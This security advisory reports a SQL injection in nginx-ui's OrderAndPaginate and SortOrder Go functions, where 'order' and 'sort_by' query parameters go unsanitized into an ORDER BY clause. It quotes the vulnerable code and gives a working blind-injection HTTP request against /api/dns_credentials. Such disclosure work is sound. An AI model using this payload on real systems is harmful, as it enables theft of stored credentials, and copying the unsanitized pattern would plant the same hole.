Summary

The OrderAndPaginate function is used to order and paginate data. It is defined as follows:

func OrderAndPaginate(c *gin.Context) func(db *gorm.DB) *gorm.DB {
	return func(db *gorm.DB) *gorm.DB {
		sort := c.DefaultQuery("order", "desc")

		order := fmt.Sprintf("`%s` %s", DefaultQuery(c, "sort_by", "id"), sort)
		db = db.Order(order)

		...
	}
}

By using DefaultQuery, the "desc" and "id" values are used as default values if the query parameters are not set. Thus, the order and sort_by query parameter are user-controlled and are being appended to the order variable without any sanitization.
The same happens with SortOrder, but it doesn't seem to be used anywhere.

func SortOrder(c *gin.Context) func(db *gorm.DB) *gorm.DB {
	return func(db *gorm.DB) *gorm.DB {
		sort := c.DefaultQuery("order", "desc")
		order := fmt.Sprintf("`%s` %s", DefaultQuery(c, "sort_by", "id"), sort)
		return db.Order(order)
	}
}

This issue was found using CodeQL for Go: Database query built from user-controlled sources.

Proof of Concept

Based on this setup using uozi/nginx-ui:v2.0.0-beta.7.
In order to exploit this issue, we need to find a place where the OrderAndPaginate function is used. We can find it in the GET /api/dns_credentials endpoint.

func GetDnsCredentialList(c *gin.Context) {
	cosy.Core[model.DnsCredential](c).SetFussy("provider").PagingList()
}

The PagingList function is defined as follows:

func (c *Ctx[T]) PagingList() {
	data, ok := c.PagingListData()
	if ok {
		c.ctx.JSON(http.StatusOK, data)
	}
}

And the PagingListData function is defined as follows:

func (c *Ctx[T]) PagingListData() (*model.DataList, bool) {
	result, ok := c.result()
	if !ok {
		return nil, false
	}

	result = result.Scopes(c.OrderAndPaginate())
	...
}

Using the following request, an attacker can retrieve arbitrary values by checking the order used by the query. That is, the result of the comparison will make the response to be ordered in a specific way.

GET /api/dns_credentials?sort_by=(CASE+WHEN+(SELECT+1)=1+THEN+id+ELSE+updated_at+END)+ASC+--+ HTTP/1.1
Host: 127.0.0.1:8080
Authorization: <<JWT TOKEN>

You can notice the order change by changing =1 to =2, and so the comparison will return false and the order will be updated_at instead of id.

Impact

This issue may lead to Information Disclosure